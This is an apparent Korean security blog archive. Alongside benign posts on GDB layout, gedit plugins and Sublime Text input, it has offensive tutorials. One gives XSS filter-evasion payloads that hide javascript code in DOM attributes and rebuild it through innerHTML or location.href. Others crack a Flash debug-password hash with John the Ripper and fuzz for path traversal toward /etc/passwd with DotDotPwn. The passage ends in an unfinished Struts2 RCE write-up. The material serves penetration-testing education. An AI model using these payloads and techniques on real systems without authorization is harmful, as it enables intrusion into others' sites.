5/21/2016

[DEBIAN] GDB layout(-tui, layout asm,reg) and save setting in gdb(gdb 레이아웃 및 세팅 저장하기)


웹 해킹이 밥줄이기 때문에 gdb를 많이 사용할일은 없지만 그래도 항상 리눅스 환경에서는 정말 유용한 디버거라 생각합니다.
오늘은 GDB를 좀 더 이쁘게 꾸미는 방법과 설정을 저장에 대한 이야기를 할까합니다.

GDB 꾸미기(Set Layout)

일단 기본 gdb는 아래와 같은 구성을 가지고 있습니다.
각각 레지스터, 스택 등 명령으로 하나하나 확인해야하기 때문에 작은 프로그램이라면 별 상관 없겠지만 규모가 큰 프로그램이라면 멘붕이 오기 시작합니다.

덕분에 매번 리눅스 리버싱을 할 때 gdb와 함께 다른 디버거를 같이 활용하는 경우가 많았는데, gdb 자체의 레이아웃 설정으로도 많이 커버가 가능할 것 같습니다.

일단 아래와 같이 옵션을 주어 실행하면 창이 분리된 gdb를 만날 수 있습니다.

#> gdb -tui


이제 분리된 위쪽 창에 레지스터 정보와 같이 자주 봐줘야할 내용을 넣어줍니다.

(gdb) layout asm
(gdb) layout regs


확실히 보기가 편해집니다. 계속 명령으로 disassem한 정보를 볼 필요도 없고 레지스터 또한 실시간으로 볼 수 있습니다.
잘 활용하면 gdb도 편리하게 쓸 수 있을 것 같네요.


설정 저장하기(Save Setting)

gdb도 다른 툴과 같이 rc 파일이 존재합니다. 물론 rc로 시작하는 것은 아니고 .gdbinit 이란 파일로 시작 시 자동으로 수행할 명령에 대해 저장할 수 있습니다.

일단 이 파일은 계정 홈 디렉토리(~/.gdbinit) 에 저장되며 이는 다른 rc 파일과 유사합니다.
열어서 아까 나눴던 레이아웃 정보를 넣어보겠습니다.

#> cat /home/hahwul/.gdbinit
 set disassembly intel
 layout asm
 layout regs
이제 다시 gdb를 열어보면 layout asm, layout regs가 적용된 화면을 볼 수 있습니다.
아까 주었던 -tui 옵션도 자동으로 하면 편하니 .bashrc에 alias를 이용해 넣어주면 좋겠지요 : )

alias gdb='gdb -q -tui'
Share: | Coffee Me:

5/20/2016

[DEBIAN] Gedit Plugins for hacker/programmer(해커/프로그래머를 위한 gedit 플러그인)


최근 sublimetext3를 으로 갈아타려다 한글 관련 문제를 해결하지 못하고 다시 gedit으로 돌아오게 되었습니다.
그래서 기존에 쓰던 gedit을 강화하기 위해서 유용한 플러그인에 대해 조금 더 찾아봤지요.
(물론 기존에 쓰던게 대다수네요..ㅋㅋ)

Gedit?

일단 gedit에 대한 설명을 간단하게 하면 gnome 을 위해 만들어진 text editor라고 볼 수 있습니다.
자유소프트웨어 정책을 따르며 linux 이외에도 OSX, Windows에서도 사용이 가능하다고 합니다.

Gnome Wiki에서는 아래와 같이 설명하고 있습니다.

"While aiming at simplicity and ease of use, gedit is a powerful general purpose text editor." 


심플하고 쉽고 강력한 text editor라고 하네요. 물론 gedit 자체가 굉장히 유용한 툴이지만 plugin을 만났을 땐
더욱 쓸만해집니다.

Gedit에서 Plugin 설정하기

Plugin 설정
gedit 실행 후 메뉴 창에서 아래 순서로 진입 후 설정이 가능합니다.

편집 -> 기본설정 -> 플러그인




추가로 apt 패키지로도 지원하는 플러그인이 있으니 명령어로도 몇가지는 설치가 가능합니다.

#> apt-get install gedit-developer-plugins
gedit plugin 리스트

#> apt-cache search gedit | grep plugin
gedit-developer-plugins - A set of gedit plugins for developers
gedit-latex-plugin - gedit plugin for composing and compiling LaTeX documents
gedit-plugins - set of plugins for gedit
gedit-r-plugin - Gedit plugin for R statistical computing language
gedit-source-code-browser-plugin - source code class and function browser plugin for Gedit
gedit-valencia-plugin - Vala plugin for gedit
외부 Plugin 설정
플러그인 파일 다운로드 후 압축 해제 후 아래 순서와 같이 진행 후 위 Plugin 설정 과정을 진행하면 된다.

일단 다운받은 플러그인의 압축을 해제한다.

#> tar -xvf gedit-classbrowser3g-1.1.tar.gz
gedit-classbrowser3g-1.1/
gedit-classbrowser3g-1.1/org.gnome.gedit.plugins.classbrowser3g.gschema.xml
gedit-classbrowser3g-1.1/README.parsers
gedit-classbrowser3g-1.1/setup.py
gedit-classbrowser3g-1.1/classbrowser3g.p
압축 해제한 파일 중 plugin 파일과 관련 디렉토리를 /usr/lib/plugins/ 로 이동시켜준다.
조금 그렇다면 그냥 plugins 디렉토리로 다 옮겨도 무방하다.

1.

#> cd gedit-classbrowser3g-1.1
#> cp classbrowser3g /usr/lib/gedit/plugins/ -R
#> cp classbrowser3g.plugin /usr/lib/gedit/plugins/
or

2.

#> cp * /usr/lib/plugins/ -R

Plugin1 - File Browser(파일 찾아보기 창/Default)

이 플러그인은 gedit 내 file browser를 이식하는 플러그인입니다.
설치하면 아래와 같이 좌측 Source code가 나타나던 부분에 탭이 하나 더 생깁니다.
해당 탭을 이용해서 file browser를 볼 수 있고, 여러가지 파일을 열어가며 작업하기에는 정말 좋은 도구입니다.


Plugin2 - Source Code Browser(Default)

Source Code Browser는 File Browser와 같이 Gedit에 기본으로 들어가 있는 플러그인입니다.
이 플러그인을 통해서 개발 시 함수와 클래스에 대한 정보를 좌측 탭에서 확인할 수 있습니다.

일반적으로 개발 IDE의 성능이 훨씬 좋지만, 간단한 스크립트나 짧은 코드 작성에는 가벼운 gedit에 해당 플러그인을 사용하면 쉽고 빠르게 만들 수 있을 것 같네요. 또한 코드의 구조 파악에도 도움이 될테구요.


Plugin3 - Python Console

개인적으로 언어는 ruby를 사용하지만 python 도 아주 매력적인 언어이지요. 이 플러그인은 gedit 내부에 python console을 내장하는 플러그인입니다.

사용하게되면 gedit 하단 부분에 콘솔창이 생기고 python console을 통해 계산식이나 간단한 프로그래밍 등 작업이 가능합니다.
해커들의 언어로 불리는 python이니 보안하시는 분이라면 꼭 설치해서 활용해보시면 좋을 것 같네요.


Plugin4 - Class Browser

이 플러그인은 직접 사용하던 플러그인은 아니고 검색하던 중 찾아낸 플러그인입니다.
아래 주소에서 몇개 정리해주셨는데, 이 중 쓸만해보여 따로 메모해두었습니다.
http://www.makeuseof.com/tag/top-plugins-to-extend-and-make-gedit-a-more-useful-text-editor-linux/

Source Code Browser와 비슷하지만 각각 class에 method까지 정리가 되어서 정말 편할 것 같네요.
Gnome wiki에도 소개될 정도의 플러그인이며 아래 주소에서 다운로드가 가능합니다.
https://launchpad.net/gedit-classbrowser3g

hxxp://cdn.makeuseof.com/wp-content/uploads/2009/01/classbrowser.png

Plugin5 - 맞춤법 검사

Shift + F7으로 맞춤법 검사를 수행할 수 있습니다.

Other Plugin

추가로 더 많은 플러그인에 대해 알아보고 싶으시면 gnome wiki에서 찾거나 구글링해보시면 많이 나옵니다.
아래는 gnome wiki 내 버전별 plugin 리스트입니다.

https://wiki.gnome.org/action/show/Apps/Gedit/PluginsLists?action=show&redirect=Gedit%2FPlugins

Reference

http://www.makeuseof.com/tag/top-plugins-to-extend-and-make-gedit-a-more-useful-text-editor-linux/
https://wiki.gnome.org/action/show/Apps/Gedit/PluginsLists?action=show&redirect=Gedit%2FPlugins
https://launchpad.net/gedit-classbrowser3g
Share: | Coffee Me:

[DEBIAN] Linux에서 Sublimetext3 한글 입력 사용하기(Use hangul on slt3)

최근 gedit에서 sublimetext3(st3)으로 갈아타려 했습디마나.. 하나 문제를 발견하였지요.
바로 ibus 사용 환경에서는 sublime에서 한글 사용이 되지 않는다는 점 이였습니다.

에디터 하나때문에 입력기를 바꾸기는 좀 그래서 좀 알아봤더니 중국분이 만들어놓은 so를 이용해서 어느정도 해결이 가능한 것 같습니다.
물론 다른분들은 대체로 성공한 것 같지만... 저는 안되네요
(아마 우분투와 데비안의 차이일까요..)

그래도 메모해두면 좋을 것 같으니 작성해둡니다.

(한글문제만 아니였으면 정말 최고일듯하네요.)

Sublime-text3 :: Use Hangul


일단 fcitx를 이용한 한글 사용이기 때문에 fictix 관련 패키지와 libgtk2.0-dev 를 설치하여 줍니다.
(apt를 가지고 쉽게 설치할 수 있지요,)

#> apt-get install fcitx fcitx-hangul build-essential libgtk2.0-dev
그다음 중국님이 만들어준 imfix 소스코드를 받아옵니다.

#> git clone https://github.com/lyfeyaj/sublime-text-imfix.git
#> cd sublime-text-imfix
해당 디렉토리로 이동한 후 gcc를 이용하여 컴파일해줍니다. 컴파일 시 cflags등 옵션이 좀 필요한데, 아래 명령행 붙여서 사용하지면 좋을 것 같네요.

#> gcc -shared -o libsublime-imfix.so sublime-imfix.c  `pkg-config --libs --cflags gtk+-2.0` -fPIC
컴파일을 하면 .so 파일이 생긴것을 볼 수  있습니다.

#> ls
anran.tar.gz  libsublime-imfix.so  subl  sublime-imfix.c

여기서 이제 sublime 이 구동되기 전 해당 so 파일을 먼저 로딩시킨다면 한글 입력이 적용될 수 있다고 하네요.

아래와 같이 so 로딩 후 sublime이 실행되도록 간단하게 스크립트를 작성하여 줍니다.

sublime(실행 스크립트)

#!/bin/sh
export LD_PRELOAD=/opt/sublime_text/lib/libsublime-imfix.so   # export로 해당 so를 로드하여줍니다.
                                                              # so의 위치를 넣어주시면 됩니다.
/opt/sublime_text/sublime_text_3 "$@"                         # 이후 sublimetext3 원본을 실행시켜주면 됩니다.
                                                                       # 기본적으로 dpkg를 통해 설치하였다면 /opt 하단에,
                                                              # tar로 설치하였다면 tar를 풀어낸 디렉토리에 있습니다.

Reference

http://egloos.zum.com/nemonein/v/5269201
Share: | Coffee Me:

5/17/2016

[BUG] Repair & Fix Windows7 Install Error [0x000035a] (VirtualBox Win7 64-bit 에러 수정하기)

Windows 7 설치 중에 발생하는 에러 중 자주 나타나는 것이 0x000035a 에러입니다.
가상머신(Virtual Machine) 환경에서 주로 발생하며 설치 자체가 불가능합니다.

다만 에러 내용을 잘 읽어본다면 쉽게 확인할 수도 있는 에러입니다.


위와 같이 0xc000035a 라는 메시지가 발생하며 Info를 보면 CPU에서 64bit와 호환되지 않아 발생하는 문제입니다. 이런 경우 2가지 해법이 존재할 것 같습니다.


1. CPU에서 Virtualization Technology를 지원하지 않거나 Disable된 경우

첫번째로 Virtualization Technology(가상화기술)의 미지원으로 인한 에러인 경우입니다.
이 경우에는 부팅 시 CMOS로 진입하여 CPU 부분에 Virtualization Technology를 Enable로 설정해 주어야합니다. 물론 메뉴가 있을수도 없을수도 있지요.

출처: hxxps://witsbitshelp.files.wordpress.com/2013/06/enable-virtual-technology-1.png

PC종료 => 부팅 => 특수 키(del,F2? 등등)을 이용하여 CMOS 진입 => 설정 변경 후 부팅 /  VM의 경우 부팅하여 VM 실행

2. VirtualBox에서 32bit OS로 사용한 후 64bit ISO를 올린 경우

가상 환경에서 이 에러가 발생한 경우 대부분 이러한 실수로 생긴 사례가 많았습니다.
(제가 유난히 잘못누르네요 =_=)

사실 별 상관 없을줄 알았지만 VirtualBox에서 지정한 운영체제 버전/Bit가 실제 실행에도 굉장한 영향을 미쳤습니다..

일단 가상하드드라이브(VDI) 생성 전이라면 VM 생성 때 OS Bit 수를 맞춰주면 되고 VDI 파일이 생긴 후라면 아래와 같이 각 가상머신 설정에서 변경하여줍니다.
(변경 시 가상머신은 종료된 상태여야 합니다.)

32bit로 설정된 상태

열어서 보시면 위처럼 32bit로 되어있을 수 있는데 이걸 64bit 로 변경하여줍니다.
만약 Windows7 설치인데, 7이 32bit 밖에 없다면 Windows8-64bit로 해도 잘 설치됩니다.

32bit => 64bit 로 변경함(Change bit)

그러고 VM을 실행하면 아래와 같이 에러가 발생하지 않고 정상적으로 로드됩니다.



Share: | Coffee Me:

5/10/2016

[WEB HACKING] XDE(XSS DOM-base Evasion) Attack

여러가지 테스트를 하다보니 재미있는 것을 하나 찾아서 작성합니다.

물론 XXN 처럼 신박한 방법은 아니지만 아주 간단하며, 알고있다면 XSS 필터링에 대한 우회 기법으로 사용할 수 있을 것 같네요.

기존에 DOM Base XSS처럼 DOM을 이용한 XSS이지만 잘 활용하면 XSS를 방지하기 위해 만든 Filter에 대해 우회할 수 있는 포인트가 발생합니다. 저는 이 방법을 간단하게 추려서 XDE(XSS DOM-base Evasion)이라고 부릅니다. 이 XDE는 DOM 영역을 이용해 XSS 필터링을 우회하거나 공격 구문에 대해 어느정도 숨겨볼 수 있을 것 같습니다.

DOM(Document Object Model)


DOM Base XSS 많이 들어보셨을겁니다. DOM(Document Object Model)은 HTML의 Document를 의미하며 사용자가 고려된
동적인 영역입니다. 이런 DOM 영역에서의 XSS를 DOM XSS라고 부르지만 이번 내용에서는 DOM 을 이용해서 필터링을 우회하는 방법에 대해 작성할까 합니다. 일단 DOM에 대해 어느정도 알고가야 좋습니다.

hxxp://uvu.miketheindian.com/wp-content
/uploads/2011/08/html-dom-example.gif


DOM은 !doctype 최상위 요소인 #document 부터 시작되며 Element, Node로 이루어집니다.
XSS를 해보셨다면 document가 굉장히 익숙할 껍니다. location.href로 페이지를 넘기는 등의 행위를 하던게 바로 DOM입니다.

DOM
 Document -> Element -> Node


XDE Attack!

앞에서 설명드린 것 처럼 DOM을 이용하여 필터링을 우회하는 방법입니다.
XDE에 대해 잘 이해하신다면 실패한 XSS를 살려낼 수 있는 좋은 기회가 될 수 있겠죠.


아래 Case는 img 태그와 핸들러를 이용해서 구문삽입을 하였지만 스크립트 내 ":"와 "(,)" 에 대한 필터링으로 공격이 어려웠던 케이스였습니다.

이친구는 위 특수문자 들이 삽입된 후 불러오는중에 해당 문자가 구문에 포함되면 필터링하는 구조를 가지고 있었습니다. 그래서 아래와 같이 testz라는 Element node 내 title 영역에 공격구문을 넣고 취약 구간에서 불러오는 식으로 우회하였습니다.

<img id="testz" title="javascript:alert(45)">
<img src="z" onerror="document.location.href=document.testz.title">


img 태그에서 필터링을 우회하기 위해 testz 라는 임의의 Element를 만듭니다. 공격자는 testz 내 title 영역에 자신이 사용할 공격코드를 넣어놓습니다. 더블쿼테이션을 풀지 않았기 때문에 대다수의 XSS 필터는 해당 부분을 필터링 하지 않습니다.

그다음 공격자는 취약한 img 태그 내 XSS 을 시도합니다. 여기서 스크립트 구간까지는 무난하게 진입하였어도 구문이나 특정 문자에 대한 필터링으로 공격이 어려울때가 있습니다. 이 때 testz에 넣어둔 값을 꺼내와 공격에 사용할 수 있습니다.

그림에 1번 과정에서 img tag는 testz의 title을 요청하게 됩니다. 2번에서 testz는 자신의 title  영역에 존재하는 데이터 " javascript:alert(45) " 를 반환하게 되고 img tag에서는 그 내용을 읽어서 사용할 수 있게 됩니다.

각각 document 내 Element는 여러가지 속성값을 가지고있고 해당 속성에 대한 정보를 DOM 영역에서 불러올 수 있습니다.
공격자는 DOM 영역에 공격코드를 넣어두고 불러와서 필터링을 우회하여 공격할 수 있는 상황 또한 가능하겠지요.

이 DOM 영역에 대해 고민을 좀 해봤습니다. 대체로 IMG 태그에는 공격에 사용 가능한 Event Handler를 필터링하는 경우가 많기 때문에 이런식으로 공격코드를 분할하여 DOM에 저장한 후 취약 페이지에서 불러와서 공격이 가능할 수도 있을 것 같습니다.

<img id="hwul1" title="javascript:eval(function(p,a,c,k,e,r){e=String;if(!''.replace(/^/,String)){while(c--)r[c]=k[c]||c;">
<img id="hwul2" title="k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};">
<img id="hwul3" title="while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('0(1)',2,2,'alert|45'.split('|'),0,{}))">
<img src="z" onerror="document.location.href=document.hwul1.title+document.hwul2.title+document.hwul3.title">
이런식으로 공격코드를 만들어도 정상적으로 작동이 되겠지요.



맨위의 방법과 유사합니다. 여러가지 input 포인트가 존재하거나 공격자가 input을 주어 DOM 내 데이터를 저장할 수 있을 떄 공격자는 DOM을 이용해서 필터링을 우회하거나 코드를 숨길 수 있습니다.

자바스크립트 내 document.location.href에서 각각 hwul1,2,3 영역에 나누어진 공격코드를 불러와 합쳐셔 사용할 수 있게 되지요. 공격자는 정상적인 태그나 이미지 내 공격코드를 넣어두고 DOM 영역에 접근하여 불러와 사용할 수 있습니다.

또한 document 말고도 window , opener등 여러가지가 있습니다.각각 페이지를 의미하는 것들이 여러가지 존재하기 때문에 공격자는 상황에 따라 필터링을 우회하기 위한 구문을 만들어주면 됩니다.

<img id="hwul1" title="javascript:eval(function(p,a,c,k,e,r){e=String;if(!''.replace(/^/,String)){while(c--)r[c    ]=k[c]||c;">
<img id="hwul2" title="k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};">
<img id="hwul3" title="while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('0(1)',2,    2,'alert|45'.split('|'),0,{}))">
<img src="z" onerror="window.location.href=window.hwul1.title+window.hwul2.title+window.hwul3.title">

document 기반의 필터링을 존재한다면 위와 같은 방법으로 window 등을 이용하여 동일하게 사용할 수 있겠지요.

여기서 조금 더 생각해보면 이런 형식의 코드도 가능할 것 같습니다. 한 페이지에 XSS코드는 여러군데 삽입이 가능한 경우가 많습니다.
특히 더블쿼테이션(") 에 대한 필터링으로 아래 input 문과 같이 사용을 하지 못하는 경우가 대다수이지요.

이럴 때 일반적인 Javascript 코드에서 부분을 활용하는 코드를 만나면 우회를 생각해 볼 포인트가 더 생기게 됩니다.
아래는 그냥 예시로 만든 DOM-XSS 코드입니다.

NAME: <input type="text" id="v1" value="Lee">
PHONE: <input type="text" id="v2" value="000-0000-0000">
DESC: <input type="text" id="v3" value="User">
위 값은 사용자 프로필에 대한 값이며 얼마든지 수정이 가능하다고 가정합니다.
이 때 공격자는 Javascript XSS 포인트를 발견하였지만 부분적으로 필터링이 존재하여 함수 실행이 불가능합니다.

필터링 규칙: 특수문자 "(", ")" 및 location, cookie에 대해 필터링이 존재하여 함수 실행 및 Redirection이 어려운 상태

이럴 때 공격자는 document.body의 innerHTML을 제어하여 document.write와 같은 효과를 낼 수 있습니다.

NAME: <input type="text" id="v1" value="Lee">
PHONE: <input type="text" id="v2" value="000-0000-0000">
DESC: <input type="text" id="v3" value="User">

<script>
document.body.innerHTML=window.v1.value+window.v2.value+window.v3.value;
</script>
innerHTML은 body 내 HTML 코드를 의미하며 Read/Write 모두다 가능하기 때문에 Docuemtn.write() 함수를 이용한 DOM XSS와 유사한 형태로 공격이 가능합니다.

그럼 공격자는 아래와 같이 유저 정보를 수정하여 DOM XSS공격코드를 저장합니다.

NAME: <input type="text" id="v1" value="z<iframe ">
PHONE: <input type="text" id="v2" value=" src=javascript:alert(45)><">
DESC: <input type="text" id="v3" value="/iframe>">

<script>
document.body.innerHTML=window.v1.value+window.v2.value+window.v3.value;
</script>



아래는 w3schools.com에서 제공하는 dom object의 document와 element에 대한 내용입니다.
잘 활용하면 코드를 숨기거나 필터링을 우회할 수 있는 방법이 많이 생기겠죠.

Document
http://www.w3schools.com/jsref/dom_obj_document.asp

Element
http://www.w3schools.com/jsref/dom_obj_all.asp

대응방법

XSS 권고 시 특수문자 및 핸들러, 주요 구문에 대한 필터링 이야기를 하는데 정말 잘 되어야합니다.
조금의 흠이라도 있다면 위와 같은 방법으로 풀어나갈 수 있습니다. XSS Point 를 줄이는것이 중요하고 적용된 XSS Filter에 대한 검증이 꼭 필요할 것 같네요.

Reference

http://www.w3schools.com/jsref/dom_obj_document.asp
Share: | Coffee Me:

5/09/2016

[WEB HACKING] SWF내 DEBUG Password Crack 하기(Cracking DEBUG password in SWF flash file / EnableDebugger2)



예전에 미리 작성해놓고.. 한참 바쁘다가 이제서야 올리게됬네요.
오늘은 플래시 파일. 즉 SWF안에 있는 enableDebugger에 대해 알아보고, Key를 크랙하는 법에 대해 볼까합니다. 

왜 SWF 내 DEBUG Password를 Crack 할까?

이 보안 취약점은 아주 간단한 취약점입니다. 또한 영향력도 낮지요...
그러나 요즘 대세인 웹 게임이라면 이야기가 달라집니다. 웹 게임들은 플래시 기반으로 동작하는 게임이 많고 중요한 부분은 api로 처리하지만 swf 자체에도 많은 기능과 로직이 담겨있습니다. 이러한 swf를 디버깅하지 못하도록 막아주는것이 enableDebugger2 입니다. 이 옵션을 통해서 SWF에 디버깅을 제한할 수 있는 설정을 걸 수 있고 허용된 password를 가진 사용자만 SWF를 디버깅할 수 있습니다.

다만 이 부분이 개발하시는 분들이 귀찮거나, 인지되지 않아 설정을 안하거나 아주 간단한 내용으로 패스워드를 걸기 때문에 공격자에게 노출될 수 있습니다.

안걸려있다면 바로 디버깅하여 로직을 틀어버릴 수 있겠지만.. 오늘의 내용은 패스워드가 걸려있다. 아 정확히 말하면 쉬운 패스워드가 걸려있을 때 공격자는 어떠한 방법으로 Key를 얻어내어 디버깅할 준비를 할 수 있는지 이야기할까 합니다.



Decompiler를 이용하여 DEBUG 정보 획득하기

일단 우리가 필요한 enableDebugger2에 대한 정보는 SWF안에 들어있습니다. 이 정보를 찾아야 Crack 부터 Debugging까지 단계를 수행할 수 있겠지요. 무료이며 쓸만한 Flash Decompiler를 2개정도 사용하고 있습니다. 하나는 GUI, 다른 하나는 CUI이며 상황에 따라 골라쓰고 있지요. 바로 FFDEC와 FLASM입니다.

FFDEC를 이용한 Decompile
http://www.hahwul.com/2015/04/swf-ffdec-jpex-free-flash-decompiler.html

ffdec 설치 후 실행하셔서 swf 를 까보면 actionscript 코드와 함께 많은 데이터가 확인됩니다.
이 중 잘 찾아보시면 enableDebugger2 가 설정된 부분을 찾을 수 있고 값을 얻어낼 수 있습니다.

FLASM을 이용한 Decompile
flasm - assembler and disassembler for Flash (SWF) bytecode

#> apt-get install flasm
#> flasm

Flasm 1.62 build Jun  2 2013

(c) 2001 Opaque Industries, (c) 2002-2007 Igor Kogan, (c) 2005 Wang Zhen
All rights reserved. See LICENSE.TXT for terms of use.

Usage: flasm [command] filename

Commands:
   -d     Disassemble SWF file to the console
   -a     Assemble Flasm project (FLM)
   -u     Update SWF file, replace Flasm macros
   -b     Assemble actions to __bytecode__ instruction or byte sequence
   -z     Compress SWF with zLib
   -x     Decompress SWF

Backups with $wf extension are created for altered SWF files.

To save disassembly or __bytecode__ to file, redirect it:
flasm -d foo.swf > foo.flm
flasm -b foo.txt > foo.as

Read flasm.html for more information.
ffdec로 찾는것이 편하긴하지만 커맨드라인에서 확인하기 쉽도록 flasm을 사용하겠습니다.
-d 옵션을 주어 swf 파일을 디컴파일합니다. output 중 enableDebugger2가 설정되어있는지 확인합니다.

#> flasm -d test.swf | grep enableDebugger
  enableDebugger2 '$1$Qy$73m750ww5yD9X/Ri1maWD0
명령을 실행해보니 아래와 같이 hash화된 값이 나타납니다. 이 값을 파일로 만들어 jtr로 crack 하면 끝나겠네요.

John the Ripper를 이용한 DEBUG Password Crack

JTR(John the Ripper)는 패스워드 크랙으로 잘 알려진 툴 입니다. 개인적으로 좋아하는 툴이기도 하고 Crack 성공률도
괜찮은 편이라 자주 사용합니다. 일단 아까 ffdec나 flasm으로 얻어낸 hash 값을 복사해둡니다.

그리고 crack을 위해서 해당 값을 넣은 txt 파일을 하나 만들도록 하겠습니다.

#> echo "[keydata]" > crackKey.txt

or

#> vim crackKey.txt 
KEY
echo로 넣으셔도 되고 vim이나 nano로 편집해서 넣으셔도 됩니다. keydata에는 아까 찾은 키 값이 들어가게 됩니다.
혹시나 괄호까지 넣은분이 있을까 하여 cat으로 확인하고 가도록 하겠습니다.

#> cat crackKey.txt
$1$Qy$73m750ww5yD9X/Ri1maWD0
이제 jtr로 crack을 하면 됩니다. --show 옵션을 주어 output을 확인합니다.

#> john testPw.txt --show
?:

1 password hash cracked, 0 left
Password는 특수문자 "?:" 의 hash 값이였네요. :)
Share: | Coffee Me:

5/02/2016

[WEB HACKING] DotDotPwn - The Path Traversal Fuzzer(DDP를 이용한 Path Traversal)


Path Traversal , Directory Traversal을 좀 더 쉽게 테스팅할 수 있는 Traversal 전용 Fuzzer - DotDotPwn에 대한 내용으로 진행할까 합니다. 이 툴은 현재 Kali Project에도 속해있을 정도로 유명하고 잘 사용되는 툴 입니다. 잘 익혀두면 정말 필요할 때 알맞게 사용하실 수 있죠.

Install DDP(DotDotPwn) 

일단 git을 통해 설치해줍니다.
#> git clone https://github.com/wireghoul/dotdotpwn.git

DotDotPwn은 perl로 만들어진 툴이며 여러가지 모듈이 필요합니다. 하나하나 모자라는 모듈에 대해 apt 같은 패키지 매니저로 설치할수도 있지만 cpan을 이용하면 쉽게 설치가 가능합니다.

#> cpan
 + install Net:FTP
 + install TFTP
 + install Time:HiRes
 + install Socket
 + install IO:Socket
 + install Getopt:Std
 + install Switch

일단 명령행에서 cpan을 치면 대화형 콘솔로 진입합니다. 여기서 install 명령을 써서 패키지를 설치할 수 있는데 위에 해당 툴에서 필요한 패키지를 하나한 설치해줍니다.
(아래 이미지 처럼 cpan 내부에서 install 을 이용해서 설치해야합니다.)



또 다른 방법으로는 아래와 같이 apt-get 을 이용한 설치가 있습니다.
다만 정확한 설치를 위해서는 cpan을 통해 설치하는 것이 좋을것 같네요.

#> apt-get install libswitch-perl
#> apt-get install libnet-tftp-perl

#> perl dotdotpwn.pl
#################################################################################
#                                                                               #
#  CubilFelino                                                       Chatsubo   #
#  Security Research Lab              and            [(in)Security Dark] Labs   #
#  chr1x.sectester.net                             chatsubo-labs.blogspot.com   #
#                                                                               #
#                               pr0udly present:                                #
#                                                                               #
#  ________            __  ________            __  __________                   #
#  \______ \    ____ _/  |_\______ \    ____ _/  |_\______   \__  _  __ ____    #
#   |    |  \  /  _ \\   __\|    |  \  /  _ \\   __\|     ___/\ \/ \/ //    \   #
#   |    `   \(  <_> )|  |  |    `   \(  <_> )|  |  |    |     \     /|   |  \  #
#  /_______  / \____/ |__| /_______  / \____/ |__|  |____|      \/\_/ |___|  /  #
#          \/                      \/                                      \/   #
#                               - DotDotPwn v3.0 -                              #
#                         The Directory Traversal Fuzzer                        #
#                         http://dotdotpwn.sectester.net                        #
#                            dotdotpwn@sectester.net                            #
#                                                                               #
#                               by chr1x & nitr0us                              #
#################################################################################

Usage: /home/noon/Noon/dotdotpwn/dotdotpwn.pl -m <module> -h <host> [OPTIONS]
Available options:
-m Module [http | http-url | ftp | tftp | payload | stdout]


DDP(DotDotPwn)을 이용하여 Path Traversal Test하기

자 이제 ddp를 이용해서 traversal 에 대해 fuzzing 하는법을 알아볼까합니다.
솔직히 정교하게 필터링을 우회하려면 직접 필터링 규칙을 유추해서 푸는것이 제일 좋습니다.
로그도 적고 성공률도 높아요. 그러나 귀찮을 경우도 있고, 혹시나 놓치는 부분이 있을 수 있기 때문에 이러한 툴도 사용하게 되지요.

#> ddp | grep Usage
Usage: /home/noon/Noon/dotdotpwn/dotdotpwn.pl -m <module> -h <host> [OPTIONS]

#> ddp | grep Module
-m Module [http | http-url | ftp | tftp | payload | stdout]


Usage 중 잘 알아야할 것을 봤습니다. 일단 사용 방법과 모듈 종류입니다.

간단하게 보면 모듈/호스트 등의 설정을 주고 테스팅을 진행할 수 있습니다.
그럼 Fuzzing 작업을 진행하겠습니다.

크게 옵션 몇개에 대해 더 알고가야 편합니다.

1. -h 
 이 옵션은 타켓 호스트를 지정하는 옵션입니다.
-h 127.0.0.1

2. -u 
 이 옵션은 URL을 지정합니다. 여기에 패턴이 들어갈 부분을 지정해줍니다.
 패턴 부분은 아래와 같이 TRAVERSAL 이라는 문구로 지정할 수 있습니다.
-u http://127.0.0.1/test.php?file=TRAVERSAL

3. -m 
 이 옵션을 모듈을 지정합니다. http 인지, ftp인지 등등 지정이 가능하죠.
-m http-url  // [http | http-url | ftp | tftp | payload | stdout] 

4. -k 
 이 옵션은 탐지할 문자열을 의미합니다. /etc/passwd 파일을 목표로 한다면 아래와 같이 지정이 가능하죠.
-k "root:"

옵션을 살펴봤으니 직접 돌려봅니다.

#> ddp -m http-url -h 127.0.0.1 -u http://127.0.0.1/lib/file_download.asp?FilePath=TRAVERSAL -k HOSTS

위를 보면 http-url 모듈을 이용하고 호스트는 localhost, url은 해당 url
k 옵션을 이용해 문자열 탐지를 사용하였습니다. hosts 파일을 로드했을 때 주석을 읽어오면 정탐으로 보도록 했죠.

Output 은 굉장히 심플합니다.
로그중에서는 취약한 코드로 탐지된 데이터에 대해 VULNABLE이라고 명시해주고, 마지막에 간략하게 Report 형태로 제공합니다.

일반적으로 Traversal 는 필터링 패턴을 파악하고 우회구문을 만드는 것이 매력 포인트이자 좋은 방법이지만 때때로 우리는 귀찮을때가 있습니다. DDP 같은 Fuzzer를 이용해 쉽게 테스팅하는 것도 좋은 방법중에 하나죠 :)
Share: | Coffee Me:

[WEB HACKING] Apache Struts2 DMI REC(Remote Command Executeion) Vulnerability(CVE-2016-3081)


지난 CVE-2016-0785 취약점에 이어 CVE-2016-3081 Struts2 취약점에 대해 정리할까합니다.
일단 Struts2 취약점은 예전부터 아주 치명적인 취약점으로 알려졌었고, 최근에 또 줄줄이 나타나고 있습니다. 올 초부터 발생한 Sturts2 취약점들은 약간 비슷한 형태의 구성을 가지고 있습니다.

그 중 최근 이슈가 되었던 CVE-2016-3081 취약점에 대해 정리합니다.

Apache Struts2 DMI RCE Vulnerability

해당 취약점은 Struts2.3.20 ~ 2.3.28 중 2.3.20.3, 2.3.24.3 을 제외한 나머지 버전에 대해 공격이 가능한 취약점입니다. 해당 취약점을 통해 원격 명령 실행 및 Shell 을 획득할 수 있게 때문에 굉장히 영향력이 큰 공격입니다.

항상 이 공격을 수행할 수 있는것은 아닙니다. Sturts의 DMI가 활성화 되어 있어야합니다.
물론 2.3.15.2 이하 버전은 Default Option으로 활성화 되어 있기 때문에 구버전의 Struts를 사용하는 서버에게는 굉장한 위협이 됩니다.


Struts2 DMI REC(CVE-2016-3081) 원리 및 공격방법

문제가 된 Struts2 DMI는 !를 이용하여 다른 메소드를 호출할 수 있는 기능입니다.
Dynamic Method Invocation의 약자이며 WebWork의 내장 기능이며 execute() 메소드 대신에 !를 사용하여 다른 메소드를 호출할 수 있습니다.

